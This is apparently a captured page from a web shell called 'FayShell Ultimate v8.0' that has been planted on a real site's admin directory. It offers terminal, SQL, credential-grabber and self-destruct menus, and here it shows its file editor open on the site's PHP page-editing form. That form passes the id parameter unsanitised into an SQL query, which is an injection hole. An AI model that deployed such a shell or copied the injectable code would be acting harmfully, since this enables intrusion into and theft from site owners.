FAYSHELL ULTIMATE v8.0
Explorer
Terminal
SQL
Jump
Symlink
Grabber
Config
Info
Archive
Mail
SELF DESTRUCT
Path:
home
/
u494966150
/
domains
/
gloriousservice.com
/
public_html
/
admin
/
Create
Create
Upload
Editing: edit-page.php
<?php include 'includes/auth.php'; ?> <?php include 'includes/db.php'; ?> <?php $page_id = $_GET['id'] ?? null; if (!$page_id) { header('Location: page-list.php'); } $result = mysqli_query($conn, "SELECT * FROM pages WHERE id = $page_id"); $page = mysqli_fetch_assoc($result); if (!$page) { header('Location: page-list.php'); } ?> <?php include 'includes/header.php'; ?> <?php include 'includes/topbar.php'; ?> <?php include 'includes/sidebar.php'; ?> <style> .service-checkbox-group { display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 15px; margin: 15px 0; } .service-item { display: flex; align-items: flex-start; padding: 12px; border: 1px solid #ddd; border-radius: 6px; background: #f9f9f9; transition: all 0.3s ease; } .service-item:hover { background: #f0f7ff; border-color: #0052da; } .service-item input[type="checkbox"] { margin-right: 12px; margin-top: 3px; cursor: pointer; } .service-title { font-weight: 600; color: #0052da; margin: 0; } .service-desc { font-size: 0.85rem; color: #666; margin: 3px 0 0 0; } .current-image { max-width: 200px; border-radius: 6px; margin: 10px 0; } .gallery-preview { display: grid; grid-template-columns: repeat(auto-fill, minmax(150px, 1fr)); gap: 15px; margin-top: 20px; } .gallery-item { position: relative; border-radius: 8px; overflow: hidden; box-shadow: 0 2px 8px rgba(0,0,0,0.1); } .gallery-item img { width: 100%; height: 150px; object-fit: cover; } .gallery-item input { position: absolute; bottom: 5px; left: 5px; width: 140px; } .upload-area { border: 2px dashed #0052da; border-radius: 8px; padding: 30px; text-align: center; cursor: pointer; transition: all 0.3s ease; background: #f8f9ff; } .upload-area:hover { background: #f0f7ff; border-color: #003fa8; } .upload-area i { font-size: 2rem; color: #0052da; margin-bottom: 10px; } .upload-area p { margin: 0; color: #0052da; font-weight: 600; } .file-input-hidden { display: none; } .map-link-info { background: #e7f3ff; border-left: 4px solid #0052da; padding: 15px; border-radius: 4px; margin-top: 10px; } .map-link-info p { margin: 0; font-size: 0.9rem; color: #0052da; } .existing-gallery { display: grid; grid-template-columns: repeat(auto-fill, minmax(150px, 1fr)); gap: 15px; margin: 20px 0; } .existing-gallery-item { position: relative; border-radius: 8px; overflow: hidden; box-shadow: 0 2px 8px rgba(0,0,0,0.1); } .existing-gallery-item img { width: 100%; height: 150px; object-fit: cover; } .existing-gallery-item .remove-btn { position: absolute; top: 5px; right: 5px; background: #ff6b6b; color: white; border: none; padding: 5px 8px; border-radius: 4px; cursor: pointer; font-size: 0.8rem; } .existing-gallery-item .caption-input { position: absolute; bottom: 5px; left: 5px; width: 140px; font-size: 0.8rem; } </style> <div class="content"> <h2 class="mb-4">Edit Location Page</h2> <div class="card"> <form action="update-page.php" method="post" enctype="multipart/form-data" id="pageForm"> <input type="hidden" name="page_id" value="<?php echo $page['id']; ?>"> <!-- Page Title --> <div class="mb-3"> <label class="form-label">Page Title *</label> <input type="text" name="title" id="title" class="form-control" value="<?php echo htmlspecialchars($page['title']); ?>" required> </div> <!-- URL Slug --> <div class="mb-3"> <label class="form-label">URL Slug</label> <input type="text" name="slug" id="slug" class="form-control" value="<?php echo $page['slug']; ?>" required> </div> <!-- City Selection --> <div class="mb-3"> <label class="form-label">Select City/Location *</label> <div class="input-group"> <select name="city" id="city" class="form-control" required> <option value="">Choose a city</option> <?php $cities_result = mysqli_query($conn, "SELECT * FROM cities WHERE status='active' ORDER BY name"); while ($city_row = mysqli_fetch_assoc($cities_result)) { $selected = ($city_row['name'] == $page['city']) ? 'selected' : ''; echo '<option value="' . htmlspecialchars($city_row['name']) . '" ' . $selected . '>' . htmlspecialchars($city_row['name']) . '</option>'; } ?> </select> <button class="btn btn-outline-primary" type="button" data-bs-toggle="modal" data-bs-target="#addCityModal"> <i class="fas fa-plus"></i> </button> </div> </div> <!-- Page Heading --> <div class="mb-3"> <label class="form-label">Page Heading</label> <input type="text" name="heading" class="form-control" value="<?php echo htmlspecialchars($page['heading']); ?>"> </div> <!-- Featured Image --> <div class="mb-3"> <label class="form-label">Featured Image</label> <?php if (!empty($page['featured_image'])): ?> <div> <img src="uploads/page-images/<?php echo $page['featured_image']; ?>" alt="Featured" class="current-image"> <p><small>Current image</small></p> </div> <?php endif; ?> <input type="file" name="featured_image" id="featured_image" class="form-control" accept="image/*"> <small class="form-text text-muted">Leave empty to keep current image. Recommended: 1200x630px</small> <div id="featuredPreview" style="margin-top: 10px;"></div> </div> <!-- Existing Gallery Images --> <?php $gallery_result = mysqli_query($conn, "SELECT * FROM page_gallery WHERE page_id=" . $page['id'] . " ORDER BY sort_order ASC"); $existing_gallery = mysqli_fetch_all($gallery_result, MYSQLI_ASSOC); ?> <?php if (!empty($existing_gallery)): ?> <div class="mb-3"> <label class="form-label">Existing Gallery Images</label> <small class="d-block mb-3 text-muted">Click remove button to delete images, or update captions</small> <div class="existing-gallery"> <?php foreach ($existing_gallery as $gallery_img): ?> <div class="existing-gallery-item"> <img src="uploads/page-images/<?php echo $gallery_img['image']; ?>" alt="Gallery"> <button type="button" class="remove-btn" onclick="removeExistingGallery(<?php echo $gallery_img['id']; ?>)"> <i class="fas fa-times"></i> Remove </button> <input type="text" class="form-control caption-input" value="<?php echo htmlspecialchars($gallery_img['caption']); ?>" data-gallery-id="<?php echo $gallery_img['id']; ?>" placeholder="Caption" onchange="updateExistingCaption(<?php echo $gallery_img['id']; ?>, this.value)"> </div> <?php endforeach; ?> </div> </div> <?php endif; ?> <!-- New Gallery Images --> <div class="mb-3"> <label class="form-label">Add New Gallery Images</label> <div class="upload-area" id="uploadArea"> <i class="fas fa-cloud-upload-alt"></i> <p>Click or drag images here to upload</p> <small style="color: #666;">You can upload multiple images</small> </div> <input type="file" id="galleryInput" name="gallery_images[]" class="file-input-hidden" multiple accept="image/*"> <div class="gallery-preview" id="galleryPreview"></div> <input type="hidden" name="gallery_captions" id="galleryCaptions" value="[]"> </div> <!-- Page Content --> <div class="mb-3"> <label class="form-label">Page Content</label> <div id="editor" style="height:300px;"></div> <input type="hidden" name="content" id="content"> </div> <!-- Professional Services --> <div class="mb-4"> <label class="form-label">Professional Services Offered *</label> <div class="service-checkbox-group"> <?php $services = json_decode($page['services'], true) ?? []; $service_list = [ 'carpenter' => ['๐ช', 'Carpenter Services', 'Furniture repair, custom woodwork'], 'plumber' => ['๐ฐ', 'Plumber Services', 'Leak repairs, pipe fitting'], 'electrician' => ['โก', 'Electrician Services', 'Wiring, electrical repairs'], 'cleaning' => ['๐งน', 'Cleaning Services', 'Home, office and deep cleaning'], 'welder' => ['๐ฅ', 'Welder Services', 'On site welding, metal fabrication'], 'interior_designer' => ['๐จ', 'Interior Designer', 'Modern interior design'], 'cctv' => ['๐น', 'CCTV Technician', 'CCTV installation and maintenance'], 'furniture_assembly' => ['๐๏ธ', 'Furniture Assembly', 'Assembly and installation'], 'painter' => ['๐ญ', 'Painter Services', 'Interior and exterior painting'], 'waterproofing' => ['๐ง', 'Waterproofing', 'Roof, wall and bathroom solutions'], 'kitchen' => ['๐ณ', 'Modular Kitchen', 'Customized design and installation'], 'web_development' => ['๐ป', 'Web Development', 'Website design and development'] ]; foreach ($service_list as $key => $data): ?> <div class="service-item"> <input type="checkbox" name="services[]" value="<?php echo $key; ?>" id="service-<?php echo $key; ?>" <?php echo in_array($key, $services) ? 'checked' : ''; ?>> <label for="service-<?php echo $key; ?>"> <p class="service-title"><?php echo $data[0] . ' ' . $data[1]; ?></p> <p class="service-desc"><?php echo $data[2]; ?></p> </label> </div> <?php endforeach; ?> </div> </div> <!-- Google Map Link --> <!-- Google Map Link --> <div class="mb-3"> <label class="form-label">Google Maps Link *</label> <input type="url" name="google_map_link" id="google_map_link" class="form-control" value="<?php echo htmlspecialchars($page['google_map_link']); ?>" placeholder="https://maps.app.goo.gl/22H89CDd1LqQYwXx9" required> <div style="background: #e3f2fd; border-left: 4px solid #0052da; padding: 15px; border-radius: 4px; margin-top: 15px;"> <p style="margin: 0 0 15px 0; color: #0052da; font-weight: 600;"> ๐ How to get your Google Maps sharing link: </p> <ol style="margin: 0; color: #0052da; padding-left: 20px;"> <li style="margin-bottom: 8px;">Open <strong>Google Maps</strong> on your computer (maps.google.com)</li> <li style="margin-bottom: 8px;">Search for your business location or click the map to add a pin</li> <li style="margin-bottom: 8px;">Click the <strong>"Share"</strong> button (top left area)</li> <li style="margin-bottom: 8px;">Select <strong>"Copy link"</strong> option</li> <li style="margin-bottom: 8px;">The link will look like: <code style="background: white; padding: 3px 8px; border-radius: 3px; font-family: monospace;">https://maps.app.goo.gl/22H89CDd1LqQYwXx9</code></li> <li>Paste that link in the field above</li> </ol> <div style="margin-top: 15px; padding: 12px; background: #c8e6c9; border-radius: 4px; color: #2e7d32;"> <strong>โ Example:</strong> https://maps.app.goo.gl/22H89CDd1LqQYwXx9 </div> </div> </div> <!-- Meta Tags --> <div class="mb-3"> <label class="form-label">Meta Title (SEO)</label> <input type="text" name="meta_title" class="form-control" maxlength="60" value="<?php echo htmlspecialchars($page['meta_title']); ?>"> <small class="form-text text-muted">Max 60 characters</small> </div> <div class="mb-3"> <label class="form-label">Meta Description (SEO)</label> <textarea name="meta_description" class="form-control" rows="2" maxlength="160"><?php echo htmlspecialchars($page['meta_description']); ?></textarea> <small class="form-text text-muted">Max 160 characters</small> </div> <!-- Status --> <div class="mb-3"> <label class="form-label">Status</label> <select name="status" class="form-control"> <option value="published" <?php echo $page['status'] == 'published' ? 'selected' : ''; ?>>Publish</option> <option value="draft" <?php echo $page['status'] == 'draft' ? 'selected' : ''; ?>>Save as Draft</option> </select> </div> <button type="submit" class="btn btn-primary"> <i class="fas fa-save"></i> Update Page </button> </form> </div> </div> <!-- Add City Modal --> <div class="modal fade" id="addCityModal" tabindex="-1"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title">Add New City</h5> <button type="button" class="btn-close" data-bs-dismiss="modal"></button> </div> <form id="quickAddCityForm"> <div class="modal-body"> <div class="mb-3"> <label class="form-label">City Name *</label> <input type="text" id="quickCityName" class="form-control" placeholder="e.g., Noida" required> </div> <div class="mb-3"> <label class="form-label">Description</label> <textarea id="quickCityDescription" class="form-control" rows="2" placeholder="Describe this city..."></textarea> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button> <button type="button" class="btn btn-primary" onclick="quickAddCity()">Add City</button> </div> </form> </div> </div> </div> <script src="https://cdn.quilljs.com/1.3.7/quill.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js"></script> <script> var quill = new Quill('#editor', { theme: 'snow', modules: { toolbar: true } }); // Set initial content quill.root.innerHTML = `<?php echo addslashes($page['content']); ?>`; // Gallery Management for New Images const uploadArea = document.getElementById('uploadArea'); const galleryInput = document.getElementById('galleryInput'); const galleryPreview = document.getElementById('galleryPreview'); const galleryCaptions = document.getElementById('galleryCaptions'); let uploadedFiles = []; uploadArea.addEventListener('click', () => galleryInput.click()); uploadArea.addEventListener('dragover', (e) => { e.preventDefault(); uploadArea.style.background = '#f0f7ff'; }); uploadArea.addEventListener('dragleave', () => { uploadArea.style.background = '#f8f9ff'; }); uploadArea.addEventListener('drop', (e) => { e.preventDefault(); const files = e.dataTransfer.files; handleFiles(files); }); galleryInput.addEventListener('change', (e) => { handleFiles(e.target.files); }); function handleFiles(files) { for (let file of files) { if (file.type.startsWith('image/')) { const reader = new FileReader(); reader.onload = (e) => { uploadedFiles.push({ file: file, preview: e.target.result }); renderGallery(); }; reader.readAsDataURL(file); } } } function renderGallery() { galleryPreview.innerHTML = ''; uploadedFiles.forEach((item, index) => { const div = document.createElement('div'); div.className = 'gallery-item'; div.innerHTML = ` <img src="${item.preview}" alt="Gallery ${index + 1}"> <input type="text" class="form-control form-control-sm caption-input" placeholder="Caption" onchange="updateCaption(${index}, this.value)" style="width: 140px; margin: 5px;"> <button type="button" class="btn btn-sm btn-danger" style="position: absolute; top: 5px; right: 5px;" onclick="removeGalleryItem(${index})"> <i class="fas fa-times"></i> </button> `; galleryPreview.appendChild(div); }); } let captions = {}; function updateCaption(index, caption) { captions[index] = caption; document.getElementById('galleryCaptions').value = JSON.stringify(captions); } function removeGalleryItem(index) { uploadedFiles.splice(index, 1); delete captions[index]; renderGallery(); } // Featured Image Preview document.getElementById('featured_image').addEventListener('change', function(e) { const preview = document.getElementById('featuredPreview'); const file = e.target.files[0]; if (file) { const reader = new FileReader(); reader.onload = (e) => { preview.innerHTML = `<img src="${e.target.result}" style="max-width: 300px; border-radius: 6px;">`; }; reader.readAsDataURL(file); } }); // Form submission document.getElementById('pageForm').addEventListener('submit', function(e) { document.querySelector('#content').value = quill.root.innerHTML; }); // Remove Existing Gallery Image function removeExistingGallery(galleryId) { if (confirm('Are you sure you want to remove this image?')) { const formData = new FormData(); formData.append('action', 'remove_gallery'); formData.append('gallery_id', galleryId); fetch('update-page.php', { method: 'POST', body: formData }) .then(response => response.text()) .then(data => { location.reload(); }) .catch(error => { alert('Error removing image: ' + error); }); } } // Update Existing Gallery Caption function updateExistingCaption(galleryId, caption) { const formData = new FormData(); formData.append('action', 'update_caption'); formData.append('gallery_id', galleryId); formData.append('caption', caption); fetch('update-page.php', { method: 'POST', body: formData }) .then(response => response.text()) .catch(error => { console.error('Error updating caption:', error); }); } // Quick Add City function quickAddCity() { const cityName = document.getElementById('quickCityName').value; const cityDescription = document.getElementById('quickCityDescription').value; if (!cityName) { alert('Please enter city name'); return; } const formData = new FormData(); formData.append('action', 'add'); formData.append('city_name', cityName); formData.append('city_description', cityDescription); formData.append('city_status', 'active'); fetch('manage-cities.php', { method: 'POST', body: formData }) .then(response => response.text()) .then(data => { location.reload(); }) .catch(error => { alert('Error adding city: ' + error); }); } </script> </body> </html>
SAVE FILE
Cancel
© 2026 FayShell Modular v8.0 - Educational Only